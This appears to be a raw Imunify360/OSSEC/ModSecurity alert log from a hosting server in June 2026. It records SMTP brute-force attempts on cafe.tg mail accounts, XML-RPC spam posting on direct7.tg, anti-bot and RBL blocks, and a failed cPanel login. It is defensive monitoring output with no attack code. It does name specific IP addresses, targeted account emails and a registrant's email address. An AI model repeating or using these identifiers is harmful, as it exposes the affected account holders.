103.108.92.89 - - [20/Jun/2026:16:58:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200488&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781974678 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.20.58.65
country_id: 798544
description:
Jun 20 16:58:13 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.20.58.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:16:58:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9528724&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781974698 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:57:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:57:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63599: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1b4896ca97f5d9dad0c14d3169d415e23f8b660c||Title:4w4aobqzd3ujb45||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fb14b64a12a3fba6dc3cfda41ffa28bf0a32affd||Title:90icakdnmh64u7jd1x||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:22b6b0f80d7fb63bc58f94e79647d798bc363aec||Title:hf93sinefgi7mr1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.253
country_id: 3469034
description:
Jun 20 16:59:19 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:58:32 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63729: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:58:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63726: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b21bfbc3f8a8ad473201aba30471cf9d63b02a5e||Title:843w3dfn5tsim42ft||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:16:59:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054301&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781974764 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:16:59:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131351&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781974761 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:58:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 16:59:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:49a1283b6bc540f348df772a742ae0faa17d608b||Title:2bqkhurnugd3zuwet||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:59:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63874: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 16:59:34 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:63898: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.1.203
country_id: 690791
description:
Jun 20 16:59:39 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.1.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:09641b6e49daba13b51e295c383dbcbe8d1fa761||Title:9izgsosmgiqqlkpt||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5fcdc9a78d6f5a78dc50b7abfb3ed210fef1fdf9||Title:pcp0nas1nlm6d7v1f||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0807079ea95a4459db538ee6d139389f39da08cf||Title:e4gpnuex42pw472||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:00:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:64405: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:00:29 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:64406: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 17:00:33 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b273631fcedea84300465f5bce025aa80d98c8f||Title:swts86a57xpa68||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d2179c73944b77cf8ab8c414b7d90218e28adbb||Title:kf047x32x6fl7ngh||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5fcf9cc7afdc4584cf3f0693ea788b6193c0c308||Title:01m81agd1t4h6gmx1a||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 17:01:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:01:36 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:64668: 535 Incorrect authentication data (set_id=akp-adiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d2baf5e2e338a57280c90a29661a17a7d4024a34||Title:oxvgmin4r1vh76o||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:01:31 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:64652: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c8f008a50d9ceb326c4222e51f443574e6df40b3||Title:c9ov3hwgi3hyriil||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:289123c1372abcc16707877d2558489a34b2d911||Title:hih5c5mwc9v6kr8l||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 17:02:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-adiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4f72563faecb5d02ce718c92d890b1e1a08cb7b0||Title:3ejmpjw5oqjhocx||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:02:30 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65034: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0d8fbea447b06e1c23155ed0b9e64ca5ad9bb1ad||Title:ar65x9tdgky30cu6||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:02:38 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65078: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:03:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65235: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:22b508fd4ee6a8acbe87b3b4043d5bfef3e3e601||Title:b2nkcek47jpb0xvhi||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.89.29.7
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/738759454 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 130.94.88.77
country_id: 2017370
description:
Jun 20 17:03:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account akp-aiel@cafe.tg has been locked for the attacker IP 130.94.88.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.94.88.77
country_id: 2017370
description:
2026-06-20 17:03:33 dovecot_plain authenticator failed for H=([130.94.88.77]) [130.94.88.77]:65237: 535 Incorrect authentication data (set_id=akp-aiel@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0f53aeeada9d3b602dc3e59cc5dd79ffc93cb77c||Title:9id1plh9yhtmz23eg||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ff0596ffb283763e4fb0fec31d29525938b8af6||Title:ha0bdw9r5s7fbvrrq||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b8558a5cf07403be60eae9e1942fe2a90c8e5e98||Title:1qsnf56er2cbm3j1q||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:08117676393ba9058c44ab4a8a8f6e7a2e412379||Title:ecrk9nyru3gdtj5vas||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:71c3be954d2fbff0cfcd7bba59bca5a21b1525c4||Title:38oy9wcw8p1hcgxr||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 58.69.123.4
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (58.69.123.4) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.9
country_id: 3469034
description:
Jun 20 17:06:16 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a523f93f61eabc83cac013453957ca3f74e84b6e||Title:39mdxhbrpjrtrg3onp||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5b8cbc7990fd5127bf3589e1e91a61203f392155||Title:5u07lbq6fbj66hkt||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:93211e085172e53996fa24788fd00585342ca5f2||Title:moaorly8as1vmms9qi||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.9
country_id: 3469034
description:
Jun 20 17:06:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6545e618f74411539434fa4457c14b5c050737a5||Title:usu6i21u5tvump4||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 17:07:01 +0000] info [cpaneld] 102.54.238.57 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:85986dfcf6ead2eb7ebc36edbfbe2a1dcd7c0f67||Title:vp9ikj99y5r5xoyyw9||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:21833e54f10633faff1c5cc2941a6071e0f68d02||Title:5juyscmreia8vbpm43||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ec5f3d84f8e992b5de25ffa614605b1ba1b2bd5||Title:ihqvnbw6hlevxbz||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:07:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.8.179
country_id: 3077311
description:
Jun 20 17:07:58 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.8.179 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:07:37 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.115.197.138
country_id: 1168579
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/contact HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:05d62e5cf06f11d7d2f9b1d69439b93adab8c40b||Title:ed8ehbf3uc202i6nnf||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:01d7438d063b710a86dcaa9ca0aa522176d361a7||Title:fsdksevmjk24far||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 91.132.125.164
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:wallysills24||Email:wally-wally@ducahi.pretoria.pro||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.132.125.164
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-10.91.132.125.164||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9ca1c91a45ecacd65dbb19654b45a4bc8ab08455||Title:194rimjixiheo8||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.100.72
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1baa9045af042a4f0408cf01d4a5f5b1eaa1b0e4||Title:pdnqmov5br3orlf||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 119.93.31.224
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:329d6d38bdd1ee54ff553e459de5f17956c5f359||Title:571d9eczbtkn6lgd||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a2057f0207f9e9cc1ed7f71b6dc2860f17961f41||Title:8wkiri43plz8bdzfo||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.16.212.197
country_id: 3865483
description:
Jun 20 17:10:01 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.16.212.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
